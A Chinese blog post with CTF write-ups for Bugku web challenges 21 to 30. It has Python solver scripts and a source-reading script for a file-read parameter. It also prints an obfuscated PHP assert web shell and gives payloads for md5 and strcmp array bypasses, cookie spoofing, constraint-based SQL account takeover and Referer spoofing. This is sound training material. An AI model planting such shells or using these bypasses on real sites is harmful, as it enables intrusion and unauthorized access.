BugkuCTF——WEB(2)

二十一、秋名山老司机

题目网址:http://123.206.87.240:8002/qiumingshan/ 

这一道题可以说毫无头绪,刷新几次页面后才知道是让我们用post方式传参

这里需要一个python脚本,如下

import re
import requests

while (True):
    s = requests.Session()
    r = s.get("http://123.206.87.240:8002/qiumingshan/")

    searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
    d = {"value": eval(searchObj.group(1))}
    r = s.post("http://123.206.87.240:8002/qiumingshan/", data=d)

    print(r.text)

    if r.text.strip():
        break

运行即可出现flag

可见学好web不仅要学好php,还要学好python

二十二、速度要快

题目网址:http://123.206.87.240:8002/web6/

页面上只显示一句话,所以可以看看源码,原来是让我们用margin这个参数使用post方式传值

抓包看一下发现有类似加密过的flag

使用解码工具解码一下

但是按照格式提交还是不对,后来发现bp上的repeater那个flag值一直在变化

所以还是需要使用python写脚本

import requests
import base64

s =requests.Session()
headers =s.get("http://123.206.87.240:8002/web6/").headers
str1 = base64.b64decode(headers['flag'])
str2 = base64.b64decode(repr(str1).split(':')[1])

data= {'margin':str2}
flag = s.post("http://123.206.87.240:8002/web6/",data=data)
print(flag.text)

这样可以得到真正的flag

 KEY{111dd62fcd377076be18a}

二十三、cookies欺骗

题目网址:http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

打开后是类似很长的加密字符串,看看源码也没有什么发现。观察url ,发现 a2V5cy50eHQ= 是一个base64编码,解码后是keys.txt

 把改参数换成index.php,观察发现line按行返回,于是通过python脚本读取index.php源码

import requests
s=requests.Session()
url='http://123.206.87.240:8002/web11/index.php'
for i in range(1,20):
    payload={'line':str(i),'filename':'aW5kZXgucGhw'}
    a=s.get(url,params=payload).content
    content=str(a,encoding="utf-8")
    print(content)

读取出来php的代码如下:

<?php
	error_reporting(0);
	$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
	$line=isset($_GET['line'])?intval($_GET['line']):0;
	if($file=='') 
		header("location:index.php?line=&filename=a2V5cy50eHQ=");
		$file_list = array(
		'0' =>'keys.txt',
		'1' =>'index.php',
		);

	if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
		$file_list[2]='keys.php';
	}
	if(in_array($file, $file_list)){
		$fa = file($file);
		echo $fa[$line];
	}
?>

通过阅读代码可知,只要传入一个name=margin value=margin的cookie 就会将keys.php添加到数组中,所以传入margin参数,值为margin,filename写成keys.php(按照格式还要进行base64加密) 

 二十四、never give up

题目网址:http://123.206.87.240:8006/test/hello.php 

 右键查看源码后发现了1p.html

于是将hello.php?id=1换成1p.html再访问

Words变量应该是url编码,放到网站上进行解密

解码后发先注释部分还进行了base64加密,再对注释部分进行解码

解码后还有一层url加密,再次进行解码,终于得到了源码


<script>window.location.href='http://www.bugku.com';</script> 
<!--";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
?>-->

根据代码内容,直接访问f4l2a3g.txt,得到flag

二十五、welcome to bugkuctf 

这道题好像崩了,打开页面是404 

二十六、过狗一句话

题目网址:http://123.206.87.240:8010/

 

题目提示中送给大家过狗一句话


<?php 
    $poc="a#s#s#e#r#t";
    $poc_1=explode("#",$poc);             
    $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
    $poc_2($_GET['s']) 
?>

将assert()单独分开分别存入数组中,assert函数具有代码执行漏洞,我们需要知道该目录下存在哪些文件

使用print_r(scandir($dir))可以读取目录下的文件,在url栏目构造

http://123.206.87.240:8010/?s=print_r(scandir('./'))

后来发现好像也崩了,404...

 

bugku可能有些题目出了问题没及时修复吧

二十七、字符?正则?

题目网址:http://123.206.87.240:8002/web10/

 

打开后发现上面有php的代码,其中preg_match如下

preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) : int

搜索subjectpattern给定的正则表达式的一个匹配.  

说明key后面就是正则表达式了,此题的目标为构造一个满足正则表达式/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i的字符串id。

这里我还没有学正则表达式,参照博客:https://blog.csdn.net/qq_40481505/article/details/100979896

  • 结尾的i表示忽略大小写
  • 多次出现的key表示匹配字符串key
  • .表示匹配除换行符 \n 之外的任何单字符
  • *表示匹配前一个字符0次或多次
  • {4,7}表示匹配前一个字符串至少4次,至多7次
  • :匹配字符:
  • \/匹配字符/
  • (.*key)表示一个子表达式,功能和上文相同
  • [a-z]表示表示匹配小写a-z中的任意一个
  • [:punct:]表示匹配 !"#$%&’()*+,-./:;<=>?@[]^_`{|}~.中的任意一个
     

根据上面的分析,可以构造id为keyakeyaaaaakey:/a/akeya?,满足上面正则表达式,得到flag 

 

二十八、前女友(SKCTF)

题目网址:http://123.206.31.85:49162/

右键查看源代码发现有一个code.txt文件,点开发现php的代码

 

         代码大致意思是通过get方式传值,如果v1和v2的值不相等,但v1和v2的md5加密值相等,且v3和flag值不相等就会输出flag。利用php中的md5()函数漏洞和strcmp()函数漏洞。PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。同时MD5不能处理数组,有时也可以用数组绕过。同时strcmp()函数也可用数组绕过。

直接用数组绕过,构造

?v1[]=0&v2[]=1&v3[]=1

二十九、login1(SKCTF)

题目网址:http://123.206.31.85:49163/

发现无法登录成功,那就注册一个账号再次登录,结果提示不是管理员不能查看flag

尝试注册admin用户,发现admin已经存在,说明admin就是管理员账户

后查资料可知,这是基于约束的SQL攻击,注册时注册admin后加一个空格,再用这个账号登录,系统依然默认为管理员账号,给出了flag

 

三十、你从哪里来

题目网址:http://123.206.87.240:9009/from.php

查看源代码也未发现什么

抓一下包,将http referer头改为www.google.com即可出现flag

小结:Bugku的之后这十道题,最明显的一个变化就是需要使用python脚本来解题了,因此需要学好python,提高脚本能力

发布了20 篇原创文章 · 获赞 44 · 访问量 6598

猜你喜欢

转载自blog.csdn.net/qq_43592364/article/details/104038503